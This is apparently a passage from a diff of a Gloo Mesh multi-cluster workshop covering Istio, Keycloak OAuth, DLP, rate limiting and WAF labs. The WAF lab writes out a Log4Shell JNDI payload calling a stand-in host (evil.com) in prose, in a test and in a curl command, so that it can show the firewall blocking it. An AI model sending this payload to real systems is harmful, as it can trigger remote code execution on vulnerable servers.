gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${CLUSTER2} \ + --version 2.5.0 + +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${CLUSTER2} \ + --version 2.5.0 \ + -f -< ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); +describe("Cluster registration", () => { + it("cluster1 is registered", () => { + podName = helpers.getOutputForCommand({ command: "kubectl -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}' --context " + process.env.MGMT }).replaceAll("'", ""); + command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.MGMT + " -n gloo-mesh debug -q -i " + podName + " --image=curlimages/curl -- curl -s http://localhost:9091/metrics" }).replaceAll("'", ""); + expect(command).to.contain("cluster1"); + }); + it("cluster2 is registered", () => { + podName = helpers.getOutputForCommand({ command: "kubectl -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}' --context " + process.env.MGMT }).replaceAll("'", ""); + command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.MGMT + " -n gloo-mesh debug -q -i " + podName + " --image=curlimages/curl -- curl -s http://localhost:9091/metrics" }).replaceAll("'", ""); + expect(command).to.contain("cluster2"); + }); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-and-register-gloo-mesh/tests/cluster-registration.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 3 - Deploy Istio using Gloo Mesh Lifecycle Manager +[VIDEO LINK](https://youtu.be/f76-KOEjqHs "Video Link") + +We are going to deploy Istio using Gloo Mesh Lifecycle Manager. + +Let's create Kubernetes services for the gateways: + +```bash +registry=localhost:5000 +kubectl --context ${CLUSTER1} create ns istio-gateways +kubectl --context ${CLUSTER1} label namespace istio-gateways istio.io/rev=1-19 --overwrite + +kubectl apply --context ${CLUSTER1} -f - < + + + + +```bash +export HOST_GW_CLUSTER1="$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}')" +export HOST_GW_CLUSTER2="$(kubectl --context ${CLUSTER2} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}')" +``` + + + + + + +## Lab 4 - Deploy the Bookinfo demo app +[VIDEO LINK](https://youtu.be/nzYcrjalY5A "Video Link") + +We're going to deploy the bookinfo application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](https://istio.io/latest/docs/examples/bookinfo/). + +Run the following commands to deploy the bookinfo application on `cluster1`: + +```bash +kubectl --context ${CLUSTER1} create ns bookinfo-frontends +kubectl --context ${CLUSTER1} create ns bookinfo-backends +# Deploy the frontend bookinfo service in the bookinfo-frontends namespace +kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f data/steps/deploy-bookinfo/productpage-v1.yaml + +# Deploy the backend bookinfo services in the bookinfo-backends namespace for all versions less than v3 +kubectl --context ${CLUSTER1} -n bookinfo-backends apply \ + -f data/steps/deploy-bookinfo/details-v1.yaml \ + -f data/steps/deploy-bookinfo/ratings-v1.yaml \ + -f data/steps/deploy-bookinfo/reviews-v1-v2.yaml + +# Update the reviews service to display where it is coming from +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER1} +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER1} +``` + + + +You can check that the app is running using the following command: + +``` +kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER1} -n bookinfo-backends get pods +``` + +Note that we deployed the `productpage` service in the `bookinfo-frontends` namespace and the other services in the `bookinfo-backends` namespace. + +And we deployed the `v1` and `v2` versions of the `reviews` microservice, not the `v3` version. + +Now, run the following commands to deploy the bookinfo application on `cluster2`: + +```bash +kubectl --context ${CLUSTER2} create ns bookinfo-frontends +kubectl --context ${CLUSTER2} create ns bookinfo-backends +# Deploy the frontend bookinfo service in the bookinfo-frontends namespace +kubectl --context ${CLUSTER2} -n bookinfo-frontends apply -f data/steps/deploy-bookinfo/productpage-v1.yaml +# Deploy the backend bookinfo services in the bookinfo-backends namespace for all versions +kubectl --context ${CLUSTER2} -n bookinfo-backends apply \ + -f data/steps/deploy-bookinfo/details-v1.yaml \ + -f data/steps/deploy-bookinfo/ratings-v1.yaml \ + -f data/steps/deploy-bookinfo/reviews-v1-v2.yaml \ + -f data/steps/deploy-bookinfo/reviews-v3.yaml +# Update the reviews service to display where it is coming from +kubectl --context ${CLUSTER2} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER2} +kubectl --context ${CLUSTER2} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER2} +kubectl --context ${CLUSTER2} -n bookinfo-backends set env deploy/reviews-v3 CLUSTER_NAME=${CLUSTER2} + +``` + + + +Confirm that `v1`, `v2` and `v3` of the `reviews` service are now running in the second cluster: + +```bash +kubectl --context ${CLUSTER2} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER2} -n bookinfo-backends get pods +``` + +As you can see, we deployed all three versions of the `reviews` microservice on this cluster. + + + + + +## Lab 5 - Deploy the httpbin demo app +[VIDEO LINK](https://youtu.be/w1xB-o_gHs0 "Video Link") + +We're going to deploy the httpbin application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](http://httpbin.org/). + +Run the following commands to deploy the httpbin app on `cluster1`. The deployment will be called `not-in-mesh` and won't have the sidecar injected (because we don't label the namespace). + +```bash +kubectl --context ${CLUSTER1} create ns httpbin +kubectl apply --context ${CLUSTER1} -f - </dev/null +do + sleep 1 + echo -n . +done" +echo +--> + +You can follow the progress using the following command: + +```bash +kubectl --context ${CLUSTER1} -n httpbin get pods +``` + +```,nocopy +NAME READY STATUS RESTARTS AGE +in-mesh-5d9d9549b5-qrdgd 2/2 Running 0 11s +not-in-mesh-5c64bb49cd-m9kwm 1/1 Running 0 11s +``` + + + + +## Lab 6 - Deploy Gloo Mesh Addons +[VIDEO LINK](https://youtu.be/_rorug_2bk8 "Video Link") + +To use the Gloo Mesh Gateway advanced features (external authentication, rate limiting, ...), you need to install the Gloo Mesh addons. + +First, you need to create a namespace for the addons, with Istio injection enabled: + +```bash +kubectl --context ${CLUSTER1} create namespace gloo-mesh-addons +kubectl --context ${CLUSTER1} label namespace gloo-mesh-addons istio.io/rev=1-19 --overwrite +kubectl --context ${CLUSTER2} create namespace gloo-mesh-addons +kubectl --context ${CLUSTER2} label namespace gloo-mesh-addons istio.io/rev=1-19 --overwrite +``` + +Then, you can deploy the addons on the cluster(s) using Helm: + +```bash +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh-addons \ + --kube-context ${CLUSTER1} \ + --version 2.5.0 \ + -f -< ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Gloo Platform add-ons cluster1 deployment", () => { + let cluster = process.env.CLUSTER1 + let deployments = ["ext-auth-service", "rate-limiter"]; + deployments.forEach(deploy => { + it(deploy + ' pods are ready in ' + cluster, () => helpers.checkDeployment({ context: cluster, namespace: "gloo-mesh-addons", k8sObj: deploy })); + }); +}); +describe("Gloo Platform add-ons cluster2 deployment", () => { + let cluster = process.env.CLUSTER2 + let deployments = ["ext-auth-service", "rate-limiter"]; + deployments.forEach(deploy => { + it(deploy + ' pods are ready in ' + cluster, () => helpers.checkDeployment({ context: cluster, namespace: "gloo-mesh-addons", k8sObj: deploy })); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-gloo-mesh-addons/tests/check-addons-deployments.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +This is what the environment looks like now: + +![Gloo Platform Workshop Environment](images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg) + + + +## Lab 7 - Create the gateways workspace +[VIDEO LINK](https://youtu.be/QeVBH0eswWw "Video Link") + +We're going to create a workspace for the team in charge of the Gateways. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `gateways` workspace which corresponds to the `istio-gateways` and the `gloo-mesh-addons` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < + +We're going to create a workspace for the team in charge of the Bookinfo application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `bookinfo` workspace which corresponds to the `bookinfo-frontends` and `bookinfo-backends` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/emyIu99AOOA "Video Link") + +In this step, we're going to expose the `productpage` service through the Ingress Gateway using Gloo Mesh. + +The Gateway team must create a `VirtualGateway` to configure the Istio Ingress Gateway in cluster1 to listen to incoming requests. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Productpage is available (HTTP)", () => { + it('/productpage is available in cluster1', () => helpers.checkURL({ host: `http://cluster1-bookinfo.example.com`, path: '/productpage', retCode: 200 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-expose/tests/productpage-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Gloo Mesh translates the `VirtualGateway` and `RouteTable` into the corresponding Istio objects (`Gateway` and `VirtualService`). + +Now, let's secure the access through TLS. +Let's first create a private key and a self-signed certificate: + +```bash +openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ + -keyout tls.key -out tls.crt -subj "/CN=*" +``` + +Then, you have to store them in a Kubernetes secret running the following commands: + +```bash +kubectl --context ${CLUSTER1} -n istio-gateways create secret generic tls-secret \ + --from-file=tls.key=tls.key \ + --from-file=tls.crt=tls.crt + +kubectl --context ${CLUSTER2} -n istio-gateways create secret generic tls-secret \ + --from-file=tls.key=tls.key \ + --from-file=tls.crt=tls.crt +``` + +Finally, the Gateway team needs to update the `VirtualGateway` to use this secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - <. + +Notice that we specificed a minimumProtocolVersion, so if the client is trying to use an deprecated TLS version the request will be denied. + +To test this, we can try to send a request with `tlsv1.2`: + +```console +curl --tlsv1.2 --tls-max 1.2 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +You should get the following output: + +```nocopy +curl: (35) error:1409442E:SSL routines:ssl3_read_bytes:tlsv1 alert protocol version +``` + +Now, you can try the most recent `tlsv1.3`: + +```console +curl --tlsv1.3 --tls-max 1.3 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +And after this you should get the actual Productpage. + + + +This diagram shows the flow of the request (through the Istio Ingress Gateway): + +![Gloo Mesh Gateway](images/steps/gateway-expose/gloo-mesh-gateway.svg) + + + + +## Lab 10 - Create the httpbin workspace + +We're going to create a workspace for the team in charge of the httpbin application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `httpbin` workspace which corresponds to the `httpbin` namespace on `cluster1`: + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/jEqDoITpRss "Video Link") + +In this step, we're going to expose an external service through a Gateway using Gloo Mesh and show how we can then migrate this service to the Mesh. + +Let's create an `ExternalService` corresponding to `httpbin.org`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the external service", () => { + it('Checking text \'X-Amzn-Trace-Id\' in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-external.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Let's update the `RouteTable` to direct 50% of the traffic to the local `httpbin` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the local service", () => { + it('Got the expected status code 200', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com/get`, retCode: 200 })); + it('Checking text \'X-Amzn-Trace-Id\' not in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: false })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-local.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + +If you refresh your browser, you should see that you get a response either from the local service or from the external service. + +When the response comes from the external service (httpbin.org), there's a `X-Amzn-Trace-Id` header. + +And when the response comes from the local service, there's a `X-B3-Parentspanid` header. + +Finally, you can update the `RouteTable` to direct all the traffic to the local `httpbin` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the local service", () => { + it('Got the expected status code 200', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com/get`, retCode: 200 })); + it('Checking text \'X-Amzn-Trace-Id\' not in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: false })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-local.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +If you refresh your browser, you should see that you get responses only from the local service. + +This diagram shows the flow of the requests : + +![Gloo Mesh Gateway EXternal Service](images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg) + +Let's delete the `ExternalService` we've created: + +```bash +kubectl --context ${CLUSTER1} -n httpbin delete externalservices.networking.gloo.solo.io httpbin +``` + + + +## Lab 12 - Deploy Keycloak + +In many use cases, you need to restrict the access to your applications to authenticated users. + +OpenID Connect (OIDC) is an identity layer on top of the OAuth 2.0 protocol. In OAuth 2.0 flows, authentication is performed by an external Identity Provider (IdP) which, in case of success, returns an Access Token representing the user identity. The protocol does not define the contents and structure of the Access Token, which greatly reduces the portability of OAuth 2.0 implementations. + +The goal of OIDC is to address this ambiguity by additionally requiring Identity Providers to return a well-defined ID Token. OIDC ID tokens follow the JSON Web Token standard and contain specific fields that your applications can expect and handle. This standardization allows you to switch between Identity Providers – or support multiple ones at the same time – with minimal, if any, changes to your downstream services; it also allows you to consistently apply additional security measures like Role-Based Access Control (RBAC) based on the identity of your users, i.e. the contents of their ID token. + +In this lab, we're going to install Keycloak. It will allow us to setup OIDC workflows later. + +Let's install it: + +```bash +kubectl --context ${MGMT} create namespace keycloak + +kubectl apply --context ${MGMT} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Keycloak", () => { + it('keycloak pods are ready in cluster1', () => helpers.checkDeployment({ context: process.env.MGMT, namespace: "keycloak", k8sObj: "keycloak" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-keycloak/tests/pods-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +Then, we will configure it and create two users: + +- User1 credentials: `user1/password` + Email: user1@example.com + +- User2 credentials: `user2/password` + Email: user2@solo.io + + + +Let's set the environment variables we need: + +```bash +export ENDPOINT_KEYCLOAK=$(kubectl --context ${MGMT} -n keycloak get service keycloak -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8080 +export HOST_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK%:*}) +export PORT_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK##*:}) +export KEYCLOAK_URL=http://${ENDPOINT_KEYCLOAK} +``` + + + + +Now, we need to get a token: + +```bash +export KEYCLOAK_TOKEN=$(curl -Ssm 10 --fail-with-body \ + -d "client_id=admin-cli" \ + -d "username=admin" \ + -d "password=admin" \ + -d "grant_type=password" \ + "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | + jq -r .access_token) +``` + +After that, we configure Keycloak: + +```bash +# Create initial token to register the client +read -r client token <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "expiration": 0, "count": 1 }' \ + $KEYCLOAK_URL/admin/realms/master/clients-initial-access | + jq -r '[.id, .token] | @tsv') +KEYCLOAK_CLIENT=${client} + +# Register the client +read -r id secret <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: bearer ${token}" -H "Content-Type: application/json" \ + -d '{ "clientId": "'${KEYCLOAK_CLIENT}'" }' \ + ${KEYCLOAK_URL}/realms/master/clients-registrations/default | + jq -r '[.id, .secret] | @tsv') +KEYCLOAK_SECRET=${secret} + +# Add allowed redirect URIs +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "serviceAccountsEnabled": true, "directAccessGrantsEnabled": true, "authorizationServicesEnabled": true, "redirectUris": ["'https://cluster1-httpbin.example.com'/*","'https://cluster1-portal.example.com'/*","'https://cluster1-backstage.example.com'/*"] }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id} + +# Set access token lifetime to 30m (default is 1m) +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "accessTokenLifespan": 1800 }' \ + ${KEYCLOAK_URL}/admin/realms/master + +# Add the group attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "group", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "group", "jsonType.label": "String", "user.attribute": "group", "id.token.claim": "true", "access.token.claim": "true" } }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Add the show_personal_data attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "show_personal_data", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "show_personal_data", "jsonType.label": "String", "user.attribute": "show_personal_data", "id.token.claim": "true", "access.token.claim": "true"} } ' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Create first user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user1", "email": "user1@example.com", "enabled": true, "attributes": { "group": "users" }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +# Create second user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user2", "email": "user2@solo.io", "enabled": true, "attributes": { "group": "users", "show_personal_data": false }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +``` + +> **Note:** If you get a *Not Authorized* error, please, re-run the following command and continue from the command that started to fail: + +``` +KEYCLOAK_TOKEN=$(curl -m 2 -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token) +``` + + + + +## Lab 13 - Securing the access with OAuth +[VIDEO LINK](https://youtu.be/fKZjr0AYxYs "Video Link") + +In this step, we're going to secure the access to the `httpbin` service using OAuth. + +First, we need to create a Kubernetes Secret that contains the OIDC secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + + + + +If you refresh the web browser, you will be redirected to the authentication page. + +If you use the username `user1` and the password `password` you should be redirected back to the `httpbin` application. + +Notice that we are also extracting information from the `email` claim, and putting it into a new header. This can be used for different things during our authz/authn flow, but most importantly we don't need any jwt-decoding library in the application anymore! + +You can also perform authorization using OPA. + +First, you need to create a `ConfigMap` with the policy written in rego: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Authentication is working properly", function () { + + const cookieString_user1 = process.env.USER1_TOKEN; + const cookieString_user2 = process.env.USER2_TOKEN; + + it("The httpbin page isn't accessible with user1", () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString_user1 }], retCode: "keycloak-session=dummy" == cookieString_user1 ? 302 : 403 })); + it("The httpbin page is accessible with user2", () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString_user2 }], retCode: 200 })); + +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-extauth-oauth/tests/authorization.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> +If you open the browser in incognito and login using the username `user2` and the password `password`, you will now be able to access it since the user's email ends with `@solo.io`. + +This diagram shows the flow of the request (with the Istio ingress gateway leveraging the `extauth` Pod to authorize the request): + +![Gloo Mesh Gateway Extauth](images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg) + + + + +## Lab 14 - Use the transformation filter to manipulate headers + + +In this step, we're going to use a regular expression to extract a part of an existing header and to create a new one: + +Let's create a `TransformationPolicy` to extract the claim. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Tranformation is working properly", function() { + const cookieString = process.env.USER2_TOKEN; + it('The new header has been added', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], body: '"X-Organization": "solo.io"' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-transformation/tests/header-added.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 15 - Use the DLP policy to mask sensitive data +[VIDEO LINK](https://youtu.be/Uark0F4g47s "Video Link") + + +Now that we learnt how to put user information from the JWT to HTTP headers visible to the applications, those same applications could return sensitive or protected user information in the responses. + +In this step, we're going to use a Data Loss Prevention (DLP) Policy to mask data in response bodies and headers. + +Let's create a `DLPPolicy` to mask protected user information. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("DLP Policy", function () { + const cookieString = process.env.USER2_TOKEN; + + it('Email is masked', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], body: 'XXXXXXXXXX.io' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-dlp/tests/email-masked.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 16 - Apply rate limiting to the Gateway + + +In this step, we're going to apply rate limiting to the Gateway to only allow 3 requests per minute for the users of the `solo.io` organization. + +First, we need to create a `RateLimitServerConfig` object to define the limits based on the descriptors we will use later: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Rate limiting is working properly", function() { + const cookieString = process.env.USER2_TOKEN; + it('The httpbin page should be rate limited', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], retCode: 429 })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-ratelimiting/tests/rate-limited.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +You should get a `200` response code the first 3 time and a `429` response code after. + +This diagram shows the flow of the request (with the Istio ingress gateway leveraging the `rate limiter` Pod to determine if the request should be allowed): + +![Gloo Mesh Gateway Rate Limiting](images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg) + +Let's apply the original `RouteTable` yaml: +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/9q2TxtBDqrA "Video Link") + +A web application firewall (WAF) protects web applications by monitoring, filtering, and blocking potentially harmful traffic and attacks that can overtake or exploit them. + +Gloo Mesh includes the ability to enable the ModSecurity Web Application Firewall for any incoming and outgoing HTTP connections. + +An example of how using Gloo Mesh we'd easily mitigate the recent Log4Shell vulnerability ([CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)), which for many enterprises was a major ordeal that took weeks and months of updating all services. + +The Log4Shell vulnerability impacted all Java applications that used the log4j library (common library used for logging) and that exposed an endpoint. You could exploit the vulnerability by simply making a request with a specific header. In the example below, we will show how to protect your services against the Log4Shell exploit. + +Using the Web Application Firewall capabilities you can reject requests containing such headers. + +Log4Shell attacks operate by passing in a Log4j expression that could trigger a lookup to a remote server, like a JNDI identity service. The malicious expression might look something like this: `${jndi:ldap://evil.com/x}`. It might be passed in to the service via a header, a request argument, or a request payload. What the attacker is counting on is that the vulnerable system will log that string using log4j without checking it. That’s what triggers the destructive JNDI lookup and the ultimate execution of malicious code. + +Create the WAF policy: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const chaiExec = require("@jsdevtools/chai-exec"); +const helpersHttp = require('./tests/chai-http'); +var chai = require('chai'); +var expect = chai.expect; + +describe("WAF is working properly", function() { + it('The request has been blocked', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{key: 'x-my-header', value: '${jndi:ldap://evil.com/x}'}], body: 'Log4Shell malicious payload' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-waf/tests/waf.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Run the following command to simulate an attack: + +```bash +curl -H "User-Agent: \${jndi:ldap://evil.com/x}" -k "https://cluster1-httpbin.example.com/get" -i +``` + +The request should be rejected: + +```,nocopy +HTTP/2 403 +content-length: 27 +content-type: text/plain +date: Tue, 05 Apr 2022 10:20:06 GMT +server: istio-envoy + +Log4Shell malicious payload +``` + +Let's apply the original `RouteTable` yaml: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + +In this lab, you will incrementally add services to the mesh. The mesh is actually integrated with the services themselves which makes it mostly transparent to the service implementation. + +Before we start, take a look at the UI Graph. You can see the gateway and the services that have interacted with it. The services are not part of the mesh yet, so you can't see the traffic between them. +![UI-no-Mesh](images/steps/adding-services-to-mesh/ui-no-mesh.png) + +## Sidecar injection + +Adding services to the mesh requires that the client-side proxies be associated with the service components and registered with the control plane. With Istio, you have several methods to inject the Envoy Proxy sidecar into the microservice Kubernetes pods: + +* Automatic sidecar injection. In this mode, the sidecar is automatically injected into the pods based on the namespace annotation. +* Manual sidecar injection. In this mode, you manually inject the sidecar into the pods. +1. To enable the automatic sidecar injection, use the command below to add the label `istio.io/rev` to the `bookinfo-frontends` namespace: + +```bash +kubectl --context ${CLUSTER1} label namespace bookinfo-frontends istio.io/rev=1-19 +kubectl --context ${CLUSTER2} label namespace bookinfo-frontends istio.io/rev=1-19 +``` + +2. Validate the namespace is annotated with the `istio.io/rev` label: + +```shell +kubectl --context ${CLUSTER1} get namespace -L istio.io/rev +kubectl --context ${CLUSTER2} get namespace -L istio.io/rev +``` +Now that you have a namespace with automatic sidecar injection enabled, you are ready to start adding services to the mesh. Since you added the istio.io/rev label to the namespace, the Istio mutating admission controller automatically injects the Envoy Proxy sidecar during the initial deployment or restart of the pod. + +## Adding services to the mesh +1. You can add a sidecar to each of the services in the `bookinfo-frontends` namespace, starting with the `productpage-v1` service: + +```bash +kubectl --context ${CLUSTER1} rollout restart deployment productpage-v1 -n bookinfo-frontends 